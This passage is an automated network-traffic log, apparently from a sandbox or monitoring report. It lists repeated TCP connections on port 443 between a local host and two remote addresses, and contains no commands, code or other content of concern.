Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443

Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49753 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49753
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49757 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49757
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 192.168.2.4:49754 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49754
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49758 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49758
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
